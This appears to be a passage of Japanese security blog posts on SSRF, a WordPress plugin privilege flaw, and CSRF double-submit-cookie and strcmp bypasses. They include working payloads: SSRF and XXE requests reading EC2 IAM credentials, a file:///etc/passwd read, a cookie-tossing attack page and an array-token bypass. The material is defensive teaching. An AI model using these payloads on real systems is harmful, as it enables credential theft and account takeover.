2018年12月5日水曜日

SSRF(Server Side Request Forgery)徹底入門

SSRF(Server Side Request Forgery)という脆弱性ないし攻撃手法が最近注目されています。以下は、ここ3ヶ月にSSRFについて言及された記事です。
この「空前のSSRFブーム」に便乗して、SSRFという攻撃手法および脆弱性について説明します。

SSRF攻撃とは

SSRF攻撃とは、攻撃者から直接到達できないサーバーに対する攻撃手法の一種です。下図にSSRF攻撃の様子を示します。

攻撃者からは、公開サーバー(203.0.113.2)にはアクセスできますが、内部のサーバー(192.168.0.5)はファイアウォールで隔離されているため外部から直接アクセスできません。しかし、公開サーバーから内部のサーバーにはアクセスできる想定です。
攻撃者は *何らかの方法で* 公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があります。これがSSRF攻撃です。

SSRF攻撃の例1

SSRF攻撃に脆弱なサンプルを以下に示します。これは、はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを表示するというものです。PHPのcurl関数によりHTTPリクエストを送信し、XSS対策のためHTMLPurifierによりHTMLからscriptタグ等を取り除いています。

<?php
  require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
  $purifier = new HTMLPurifier();

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $html = curl_exec($ch);
  echo $purifier->purify($html);
下図はAWS EC2上に上記を設置して、徳丸のブログ記事を表示した例です、。


HTMLPurifierの設定を厳しく(安全に)しているのでCSS等が無効になっていますが、記事の内容は取り込めていますね。

次に攻撃例です。EC2のインスタンスからhttp://169.254.169.254/ にアクセスすると、そのインスタンスの設定情報が読み込めるという機能がEC2にあります(ドキュメント)。この機能を悪用して、EC2のクレデンシャルを読み込んでみましょう。
まずは、以下のURLにアクセスしてみます。

/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

表示は下記となります。test-roleというロールがあることがわかります。

次に、先程のURLの末尾に test-role を追加した以下のURLでアクセスします。

/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role

上記(見やすいようにHTMLソースで表示)のように、外部からEC2インスタンスのクレデンシャルが読み出せました。

SSRF攻撃の例2

次に、XXE脆弱性(CWE-611)を用いてSSRF攻撃をやってみましょう。以下は拙著「体系的に学ぶ安全なWebアプリケーションの作り方」に掲載されているサンプルです。XXEについてはこの記事も参考になります。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
上記をEC2上のPHPで動かしてみます。Amazon Linuxで標準に用意されている環境では脆弱性が再現しないので、わざと libxml2-2.7.8という脆弱な libxml2 をインストールしました。
攻撃用のXMLは以下となります。3行目が外部実体の定義で、169.254.169.254へのリクエストを含んでいます。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY credential SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role">
]>
<user>
<name>徳丸浩</name>
<address>&credential;</address>
</user>
これを読み込ませた結果は下図となります。クレデンシャルが読み込まれていることがわかります(時間経過のため先の例とは中身が変わっています)。


SSRF脆弱性(CWE-918)とは

SSRF攻撃の例を2種類紹介しました。これらのうち、例2はXXE脆弱性を悪用したものでした。
それでは、例1の方で悪用されている脆弱性はなんでしょうか? 実は、例1は、SSRF脆弱性(CWE-918)と言われるものです。以下は、SSRF脆弱性の分類を定義しているCWE-918の冒頭の引用です。
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
参考訳
Webサーバーは、上流のコンポーネントからURLまたは類似のリクエストを受け取り、このURLの内容を取得しますが、リクエストが想定される送信先に送られることを十分確実にしていません。
要はURLのチェックが不十分なために読まれてはいけないコンテンツを読まれてしまった、ということで、例1はまさにそのような例になっています。
ということで、例1および例2の「脆弱性と攻撃」の関係は以下の通りです。ややこしいですね。

例1: SSRF脆弱性(CWE-918)を悪用してSSRF攻撃を行う
例2: XXE脆弱性(CWE-611)を悪用してSSRF攻撃を行う

細かいことを気にすると言われそうですね。しかし、CWE-918とCWE-611では、脆弱性の混入メカニズムがまったく違います。なので、攻撃の影響が一部重なっているからと言って、両者をごっちゃにしてはいけないと思います。

SSRF攻撃が可能な脆弱性

SSRF攻撃が可能となる脆弱性には、CWE-918CWE-611の他に以下があります。

・ディレクトリトラバーサル(CWE-22
ディレクトリトラバーサルとCWE-918は、脆弱性混入のメカニズムが非常に似ています。パラメータの中身がURLかパス名かという違いだけです。PHP等ではfopen等ファイル名を扱う機能でURLを指定できるため、ディレクトリトラバーサル脆弱性の悪用でSSRF攻撃が可能になります。

・OSコマンドインジェクション
OSコマンドインジェクション(CWE-78)や、ファイルインクルード(LFI/RFI)(CWE-98)、安全でないデシリアライゼーション(CWE-502)などリモートコード実行(RCE)可能な脆弱性があれば、wgetやcurl等を利用してSSRF攻撃ができます。

・SQLインジェクション
SQLインジェクション(CWE-89)でも任意コマンド実行が可能な場合がありますし、データベースから他のデータベースに接続する機能などがSSRF攻撃の踏み台として使える場合があります。以下の記事は、PostgreSQLを悪用したSSRF攻撃の例が紹介されています。

SIOS "OSSよろず" ブログ出張所: PostgreSQL と SSRF

SSRF脆弱性(CWE-918)の対策

SSRF攻撃を防ぐには、まず、SSRF攻撃の原因となる脆弱性の対策が必須です。RCE可能な脆弱性や、SQLインジェクション、ディレクトリトラバーサル等は単体で非常に危険な脆弱性なので、SSRF攻撃の可否に関わらず対策すべきですし、対策方法も確立しています。問題はSSRF脆弱性(CWE-918)です。これは、要件によってはなかなかに厄介です。
まずスキーム(プロトコル)のチェックは必須です。これがないと、file:///etc/passwdのようなファイルスキームを指定してディレクトリトラバーサル攻撃ができます(下図)。


次にURL中のホスト名に紐付くIPアドレスのチェックですが、これがなかなか厄介です。通常、以下の手順に従うと思いますが、
  • URLをパースしてホスト名を取り出す
  • ホスト名からIPアドレスを求める
いずれも問題が入りやすい処理です。

URLをパースする際の問題

以下のような紛らわしいURLを解析する際に、PHPのparse_url関数がホスト名を誤認するバグがmalaさんから指摘されています。

http://169.254.169.254#@example.jp/

上記URLの正しいホスト名は 169.254.169.254 ですが、古いPHPは example.jp をホスト名として認識します(169.254.169.254#はユーザ名と認識)。このようなバグは他の言語処理系にもあり、IPアドレスのチェックをすり抜ける攻撃に悪用可能です。
この種の問題に対する緩和策として、parse_urlによって得られたホスト名やパス名からURLを組み立て直すという方法が考えられます。万一parse_urlがホスト名を誤認しても、IPアドレスチェックとHTTPリクエストでホスト名が一貫していれば、問題は入りにくいと言えます。ただし、この際にホスト名をバリデーションすることと、ユーザ名とパスワードは捨てられることが条件です。ユーザ名等を含めてしまうと元の木阿弥です。

ホスト名からIPアドレスを求める際の問題

ホスト名からIPアドレスを求める際にも以下の問題が発生します。
  • DNSサーバーが複数のIPアドレスを返す場合の処理の漏れ
  • IPアドレスの表記の多様性(参考記事
  • IPアドレスチェックとHTTPリクエストのタイミングの差を悪用した攻撃(TOCTOU脆弱性)
  • リクエスト先のWebサーバーが、攻撃対象サーバーにリダイレクトする
上記のTOCTOU(Time of check to time of use)問題は、DNSの名前解決の文脈ではDNS Rebindingとも呼ばれます。
これらに注意しつつIPアドレスチェックを実装する必要があります。
PHPのcurl関数の場合は、「最終的にアクセスしたホストのIPアドレス」を受け取る機能があるので、保険的にこれを確認する方法もあります。ただし、「リクエストを送るだけで攻撃が成立する」場合には効果がありません。
$prime_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);  // 最終的にアクセスしたIPアドレスを求める
このように、「どこまでチェックで頑張れるか」は、利用するライブラリの機能にも依存します。
仕様的に可能であれば、外部からURLを受け取らないようにするか、許可されたURLの一覧表(ホワイトリスト)によるチェックが安全です。

ネットワーク的な保護

URLの完全な検証は難しいので、ネットワーク的な保護も有効です。以下は、AWSのドキュメントで推奨されている iptables の設定例です。これにより、「docker0 ブリッジのコンテナがコンテナインスタンスのロールに指定されている権限にアクセスするのを防止できます」としています。iptablesによる設定は環境依存なのでご注意ください。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destination 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用

まとめ

SSRF攻撃とSSRF脆弱性について紹介しました。ここまで説明したように、任意のURLを対象とする処理はSSRF攻撃を受けやすく、また完全な対策は難しいのが現状です。
言い換えれば、「完全な対策が難しい」からこそ、今SSRFが注目されているとも言えます。
そもそも任意URLを受け取る処理が必要かどうかという仕様面の検討をした上で、実装の際にはできるだけ安全側に倒した処理と、アプリケーションとネットワークの両面からの対策を推奨します。

2018年12月3日月曜日

WordPressのプラグインWP GDPR Complianceの脆弱性CVE-2018-19207について分析した

11月中旬から、レンタルサーバー事業者等から、WordPressのプラグインWP GDPR Complianceの脆弱性について注意喚起が目立つようになりました。
記事本文には以下のように書かれています。
本脆弱性の影響 
WordPressにおいて、権限を持たないユーザーが脆弱性を利用してウェブサイト全体の設定を変更したり、第三者が管理者権限のあるユーザーを追加してウェブサイトの改ざんなどの不正利用を行う危険性がございます。

https://www.sakura.ad.jp/information/announcements/2018/11/22/1968198825/ より引用
以下はSecurity Nextからの引用です。
「同1.4.2」および以前のバージョンに権限昇格の脆弱性が存在し、11月6日にWordPress.orgのPlugin Directory Teamが開発者へ報告。同社では同月7日にアップデートとなる「同1.4.3」をリリースした。

脆弱性の悪用が始まった詳しい時期はわかっていないが、10月中旬ごろに同プラグインの利用環境下において、被害が発生したとの報告もあり、ゼロデイ攻撃が行われていた可能性が高い。またアップデート公開後には、積極的に攻撃が展開されているという。

http://www.security-next.com/100144 より引用
当該脆弱性CVE-2018-19207の原因と影響、対策などについて以下にまとめました。

WP GDPR Complianceプラグインとは

WP GDPR Complianceプラグインは、WordPressにGDPR対応機能を追加するためのプラグインです。下図はWordPressサイトに、クッキーと外部スクリプトの使用について同意を得ている様子です。最近は日本のサイトでも、この種の画面を目にするようになりました。


脆弱性の詳細

この脆弱性はWP GDPR Complianceのバージョン1.4.2以前に存在します。PoC(概念実証コード)は海外のサイトでは公開されていますが、悪用防止および私が逮捕されると嫌なので一部伏せ字(XXの箇所)にて示します。

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.jp
Content-Length: XXX
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=wpgdprc_process_XXXXX&data={"type":"XXXXXXXXXXXX","append":XXXXX,
"option":"XXXXXXXXXXXXXXXXXX","value":"XXXXXX"}&security=XXXXXXXXX
ご覧のように、data=のパラメータはJSON形式となります。また、security=はnonce(ナンス)ですが、WP GDPR Complianceをインストールすると、以下のようにJavaScriptのコードが挿入されます。以下のJSON中のajaxSecurityがnonceですので、容易に取得できます。nonceの役割はCSRF対策などですので、HTMLソースに貼ってあること自体は問題ではありません。
<script type='text/javascript'>
/* <![CDATA[ */
var wpgdprcData = {"ajaxURL":"http:\/\/example.jp\/wp-admin\/admin-ajax.php",
"ajaxSecurity":"0083ef6e45"};
/* ]]> */
</script>
当該脆弱性により、WordPressの設定を外部からログインなしに変更できることが脆弱性の中身です。具体的には、JSON中のoptionで示した項目が、valueで示した値に変更されます。

原因

当該バージョンのプラグインとPoCが入手できれば、当該脆弱性の原因分析は比較的容易です。以前弊社で実施した勉強会で脆弱性解析の手法を説明した模様を@tigerszkさんが素晴らしいブログ記事にまとめてくださっていますので、おおまかな手順はそちらを参照ください。

デバッガを利用してWebアプリの脆弱性を分析してみた

プラグインの脆弱なバージョンと修正バージョンで差分をとり、「脆弱な箇所」にあたりをつけてブレークポイントを設定したうえで、デバッガ上でPoCを打ち込んで見るのが簡便かと思います。ソースコードの該当箇所を以下に引用します。


./wp-content/plugins/wp-gdpr-compliance/Includes/Ajax.php より引用

ブレークポイントを設定する場合は、14行目のcheck_ajax_referer()関数呼び出しの行に設定するとよいと思います。この行は先程のnonceのチェックをしています。
PoCを打ち込むと、70行目のupdate_option()関数まで到達します。この関数は、WordPressの設定を変更する関数(リファレンス)ですが、引数$optionと$valueは、外部から送られたJSONで自由に設定できます。
すなわち、当該脆弱性を用いると、認証なしで、WordPressの設定を自由に変更できることになります。
修正後のソースを見ると、update_option関数の呼び出しの前に、WordPressの権限確認用の関数current_user_can('manage_options') の呼び出しが追加されています。

※ 22行目のstripslashesや37行目のesc_htmlはおそらく不要というかないのが正しそうです。また、71行目にdo_action関数がupdate_option関数と同じ引数で呼ばれていますが、両関数の引数は意味・内容が違うので、おそらくバグかと思います。

影響

認証なしでWordPressの設定を外部から変更できます。
もっともクリティカル攻撃の例として、海外のサイトでは以下が紹介されています。
  1. WordPressの設定変更で「利用者が自らユーザー登録できる」ようにする
  2. WordPressの設定変更でユーザー登録時の初期権限を『管理者』にする
  3. 攻撃者がユーザー登録すると管理者権限が与えられたユーザが作られる
  4. 攻撃者はそのユーザーでログインするとWordPressの管理者になれる
その他、update_option関数やdo_action関数の引数を自由に設定できることから、さまざまな攻撃が考えられます。

対策

WP GDPR complicaneプラグインの1.4.3で改修されています。本稿執筆時点の最新版は1.4.5です。最新版の導入を推奨します。
当脆弱性の攻撃のうち、管理者ユーザーを勝手に作成される経路については、WordPressのログイン機能 wp-login.php のURLを変更し、隠すことで緩和策になります。

まとめ

WP GDPR complicaneプラグインの脆弱性CVE-2018-19207について説明しました。Security Nextが報道しているように、この脆弱性はゼロデイ攻撃が行われていたという推測もあります。ログインURLを隠す以外の有力な緩和策も見当たらないこと、脆弱性の入り方のレベルが極めて低いことから、「プラグインの導入をできるだけ避ける」ことをお勧めします。

2018年11月26日月曜日

解答:CSRFの防止策に関するチートシートにツッコミを入れる

この記事は、先日の記事「問題:CSRFの防止策に関するチートシートにツッコミを入れる」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

設問: チートシート旧版の翻訳であるJPCERT/CC訳(以下の引用部分)を元に以下の設問に答えよ。

引用(再掲)
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。

設問(1)

引用部分の解説には技術的な間違いがある。それを指摘せよ

解答(1)

以下の箇所が間違いです。
同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。
Cookieの保護は同一生成元ポリシーではなく、独自のルールによります。そもそも「同一生成元」とは、ホスト、ポート番号、スキームのすべてが一致している状態ですが、Cookieは、以下のルールに従います。
  • ホスト: domain属性の指定があるばあいはdomainに指定したドメインおよびそのサブドメイン。ない場合はSet-CookieしたホストにのみCookieが送信される
  • ポート: RFC 6265によると、Cookieは同一ホストの異なるポートをまたがって共有される
  • スキーム: HTTPとHTTPSで相互にCookieの読み取り、書き込みができるが、secure属性が指定されたCookieはHTTPSの場合のみ送信される
結果として、「攻撃者はサーバーから送信されるどんなデータも読み取ることができません」は正しい(そのような使い方ができる)ですが、「Cookie の値を変更することもできません」は間違いで、Cookieの変更ができるシナリオはあります。

設問(2)

クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答(2)

以下、攻撃対象サイトが www.example.com というホスト名である前提で説明します(シナリオ1を除く)。

シナリオ1: クッキーモンスターバグの影響があるサイト

以前にもブログ記事で説明したように、Windows8.1以前のIE11にはクッキーモンスターバグがあり、地域型JPドメイン名や都道府県型JPドメイン名などで、不正なdomain属性のCookieが作れてしまいます。例えば、東京都のドメイン名は metro.tokyo.jpですが、私が所有するドメイン名(tokumaru.bunkyo.tokyo.jpやkawaguchi.tokyo.jp)で、domain=tokyo.jpというCookieがSet-Cookieできるため、tokenのクッキーを汚染する攻撃ができます(Windows8.1以前のIE限定)。このシナリオは以前下記の記事で紹介しました。

IEのクッキーモンスターバグはWindows 10で解消されていた

クッキーモンスターバグの影響を受けるのは、日本のドメイン名ばかりではありません。Public Suffix Listに掲載されたドメイン名のうちIEが対応していないものはすべて該当することになります。馴染み深いドメイン名の例としては以下があります。
  • blogspot.com
  • herokuapp.com
  • cloudfront.net
herokuapp.comもあるので、一興でHeroku上に先のサンプルスクリプトを動かしています(サイトを見る)。これを攻撃するスクリプトは以下となります。

<?php
  session_start();
  $token = "hello-csrf-trap";
  setcookie("token", $token, 0, '/', 'herokuapp.com');
?><body>
<form action="https://csrf-vul.herokuapp.com/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input name="token" value="<?php echo $token; ?>">
<input type=submit>
</form>
</body>
Heroku上に上記をホスティングしました。下図はWindows8.1上のIE11で閲覧した様子です。


先程のリンクでmypage.phpを閲覧した後、この罠(リンク)を閲覧します。「クエリ送信」ボタンをクリックすると下記のようにメールアドレスが変更されます。


Public Suffix Listに対応したブラウザ(Google Chrome、Safari、FirefoxやWindows10上のIE11とEdge)であれば、上記の攻撃は成立しません。

シナリオ2: サブドメイン型 レンタルサーバーの場合

Public Suffix Listに対応したブラウザであっても、サブドメイン型として提供されるレンタルサーバーであれば、上記と同じ攻撃が成立します。hoge.examle.comやfoo.example.com等のドメイン名が選択できるレンタルサーバーであれば、

hoge.example.com 上のサイトを攻撃するCookieを
foo.example.com上のサイトで生成できる(domain=example.com)

ことになります。
このケースはブラウザの種類を問わず、また他の脆弱性などに依存しないので、特に注意が必要でしょう。

シナリオ3: example.comのサブドメインのホストにXSS脆弱性がある場合

通常クロスサイトスクリプティング(XSS)脆弱性は同一生成元ポリシーの範囲のみで影響を受けるので、他のサブドメインまで影響が及ぶことはありませんが、クッキーの生成に関してはサブドメインも影響を受けるため、example.comのサブドメインにどれか一つでもXSS脆弱性があるサイトがあれば、www.example.comで有効なtokenのcookieを発行できます。
このシナリオは、改定後のCSRF Prevention Cheat Sheetでは、Double Submit Cookieの項の「a)   While it's true that hellokitty.marketing.example.com cannot read cookies…」以下の箇所に解説があります。

シナリオ4: HTTPヘッダインジェクションなどCookie設定可能な脆弱性がある

攻撃対象サイトにHTTPヘッダインジェクション等Cookie設定が可能な脆弱性がある場合、当該サイトで有効なtokenのCookieを発行できます。他の対策ではこの影響は受けないので、二重送信Cookie特有のリスクということになります。

シナリオ5: HTTPとHTTPS混在のサイトでHTTP側にXSS脆弱性がある

シナリオ3の変形です。XSSは同一生成元ポリシーの範囲のみで影響があるということは、HTTPとHTTPS混在のサイトの場合、HTTP側のXSS脆弱性はHTTPS側には影響がなく、逆に、HTTPS側のXSS脆弱性はHTTP側では影響がありません。しかし、HTTP側で生成したCookieはHTTPS側でも有効なため、二重送信Cookieに関してはHTTP側にXSS脆弱性があれば、HTTPS側機能にも影響があります。
この問題も、他のCSRF対策にはない、二重送信Cookie固有のリスクといえます。
なお、同一オリジン内にXSS脆弱性があれば、他のCSRF対策も回避されますが、同様の攻撃はXSS単体でも可能(同一オリジンからのXMLHttpRequest等で)なので、XSSでCSRF対策が回避されることは気にしても仕方ないと言えます(CSRFの有無によりリスクは増加しない)。


シナリオ6: 通信経路上でトークンCookieを上書きする

以下の記事で説明した問題です。通信経路上に攻撃者がいる場合でも、HTTPSを使えば通信内容の盗聴や改ざんを防止できますが、中間者攻撃によるCookieの改変はHTTPSを使っても防げないという問題です。

HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

常時TLSが一般的になりましたので、この経路による攻撃は大半のサイトが該当すると考えられます。「中間者攻撃なんて気にしないといけないの?」という感想もあるかもしれませんが、HTTPSの主要な目的は中間者攻撃など通信経路上の攻撃を防ぐことなので、HTTPSを使う以上は気にするべきでしょう。
このシナリオは、改定後のCSRF Prevention Cheat Sheetでは、Double Submit Cookieの項の「b)   If an attacker is in the middle, …」以下の箇所に解説があります。

※サイトの真正性確認だけのためにHTTPSを使うという考え方もあるとは思いますが

まとめ

OWASPのCSRF Prevention Cheat Sheet(旧版)の二重送信クッキーの問題について説明しました。二重送信クッキーは、複数のアプリケーションフレームワークで採用されていますが、上記で紹介したように、いくつかの対策回避パターンがあります。このため、CSRFがクリティカルに影響するサイトや、サブドメイン型レンタルサーバー等では使わない方がよいでしょう。利用するアプリケーションフレームがCSRF対策として二重送信クッキーを採用している場合、上記の影響が許容可能かどうかリスク分析してから採用されることを推奨します。

2018年11月15日木曜日

問題:CSRFの防止策に関するチートシートにツッコミを入れる

この記事は「問題:間違ったCSRF対策~中級編~」の続編です。当初上級編を意図しておりましたが、後述する事情により、級の指定は外しました。

はじめに

問題は、OWASPから出ているCross-Site Request Forgery (CSRF) Prevention Cheat Sheet(JPCERT/CCによる邦訳「クロスサイトリクエストフォージェリ (CSRF) の防止策に関するチートシート」)にツッコミを入れてもらおうというものです。具体的には、このチートシート(カンニングペーパーの意)のDouble Submit Cookie(Cookie の二重送信)の箇所です。以下、JPCERT/CC訳で該当箇所を引用します。
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。
要は、ログイン時に乱数でトークンを生成しておいて、それをクッキーに保存しておく。入力フォームではクッキーの値をhiddenパラメータ等に入れて、POSTパラメータとクッキーとで同じトークン値を「二重に」送信し、受け取り側で両者が一致していることを確認するというものですね。上記にもあるように、サーバー側で状態を保持する必要がなく、RESTとの相性が良いということもあり、最近人気が出始めているようです。アプリケーションフレームワークでは、Django、CodeIgniter、FuelPHP等で採用されています。

上記の説明は技術的な間違いがあるので、それを指摘してもらおう。天下のOWASPのドキュメントにいちゃもんをつけるのだから、上級問題にふさわしい…そう思い、記事執筆の準備としてチートシートの原文(英語)を久しぶりに確認しました。

…あれ?
…大幅に改定されている
…Double Submit Cookieの位置づけも変わっている

ということで、なんと「解答」が本家のサイトに掲載されているというまぬけな状況になってしまいました。改定は今年の10月に行われたようです(改訂履歴)。

まぁ、チートシートでカンニングができるという、まことにチートシートにふさわしい状況になってしまったのですが、問題自身は面白いので、初期とか上級とか抜きにして出題したいと思います。

参考実装

読者の便宜のために参考実装を以下に示します。仕様は初級編等と同じですので、画面遷移例は初級編の記事を参照してください。
以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン時にCSRF対策用のトークンを生成してクッキーにセットします。ログイン状態で呼び出した場合は、単にログインユーザのメールアドレスを表示します。(2018/11/16変更。トークンクッキーの生成タイミングを変更しました)

<?php // mypage.php ログインしたことにする確認用のスクリプト
  session_start();
  if (empty($_SESSION['id'])) {
    $_SESSION['id'] = 'alice'; // ユーザIDは alice 固定
    $_SESSION['mail'] = 'alice@example.com'; // メールアドレス初期値
  }
?><body>
ログイン中(id:<?php echo
  htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
  htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)です。クッキーからトークンを取り出してhiddenパラメータにセットしています。クッキーにトークンがあればそのまま使い、なければ新規に生成しています。
<?php // chgmailform.php メールアドレス変更フォーム
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $token = filter_input(INPUT_COOKIE, 'token');
  if (empty($token)) {
    $token = bin2hex(random_bytes(24));  // CSRFトークンの生成
    setcookie('token', $token);          // CSRFトークンをクッキーに保存
  }
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。POSTパラメータとクッキーのトークンを確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
  session_start();
  if (empty($_SESSION['id'])) {
    die('ログインしてください');
  }
  $id = $_SESSION['id'];
  $c_token = filter_input(INPUT_COOKIE, 'token');
  $p_token = filter_input(INPUT_POST, 'token');
  if (! hash_equals($c_token, $p_token)) {
    die('正規の画面からご使用ください');
  }
  $mail = filter_input(INPUT_POST, 'mail');
  $_SESSION['mail'] = $mail;  // メールアドレスの変更
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
 echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>
メールアドレス変更時のPOSTリクエスト例を以下に示します。
POST http://example.jp/chgmail.php HTTP/1.1
Host: example.jp
Content-Length: 79
Cache-Control: max-age=0
Origin: http://example.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://example.jp/chgmailform.php
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=onvi06g301m1o2cb1i0lgm9neg; token=fe24151956678c544bef14258407e12032ada4216f36480b
Connection: close

mail=alice%40wasbook.org&token=fe24151956678c544bef14258407e12032ada4216f36480b
クッキーとPOSTパラメータで、同じトークンが二重に送信されていることがわかります。

(2018/11/16追記)
Herokuにデモ環境を用意しました
https://csrf-vul.herokuapp.com/mypage.php

設問

チートシート旧版の翻訳であるJPCERT/CC訳(前述の引用部分)を元に以下の設問に答えよ。
  • 引用部分の解説には技術的な間違いがある。それを指摘せよ
  • クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答は週明けに公開予定です。

解答:間違ったCSRF対策~中級編~

この記事は、先日の記事「問題:間違ったCSRF対策~中級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

はじめに

出題時のわざとらしさから、この問題のポイントはstrcmp関数の挙動にあると気づいた方が多いと思います。

if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
そして、strcmpの引数はどちらもempty()によるチェックが入っています。また、$_SESSION['token'] は、状態遷移図(下図)により、NULLかトークン文字列(乱数)のいずれかが入っている事がわかります。
これらから、CSRF対策を通り抜ける条件は以下となります。
  • empty($_POST['token']) が偽 かつ
  • strcmp($_POST['token'], 乱数文字列) が偽
一般に$_POST['token'] が返す値の型は以下のいずれかです。
  • null型    token=がない
  • 文字列   token=foo
  • 配列      token[]=foo → array('foo') が返る
そして、null型はempty()で真を返すこと、文字列型はトークンと一致させなければならず現実には困難であることから、残る可能性として配列を試してみましょう。
以下のサンプルスクリプトを試します。
<?php
var_dump(strcmp('xyz', array('a')));
結果は以下となります。
PHP Warning:  strcmp() expects parameter 2 to be string, array given in Standard input code on line 2
NULL
警告は出ますが、strcmp関数の戻り値は NULL、すなわち偽と判定される値となることがわかります。これは凄い罠ですね。この挙動はPHPのマニュアルには載っていませんが、User Contributed Notesには掲載されています(→マニュアル)。
では、PHPのどのバージョンからこの仕様なのだろうと思ってphpallで調べたところ、PHP 5.3.0から文字列と配列の比較でNULL(警告あり)を返すようになっており、PHP 5.2までは整数 32 を返していました。この仕様変更は ChangeLog にも掲載されていないのですね。

Burp Suiteで方法を確認する

それでは、PoC(概念実証コード)を書く前に、Burp Suiteで上記のアイデアを確認しましょう。まずmypage.phpからchgmailform.phpに遷移し、トークンをセッション変数にセットします。これは、empty()によるチェックを回避するために必要になります。


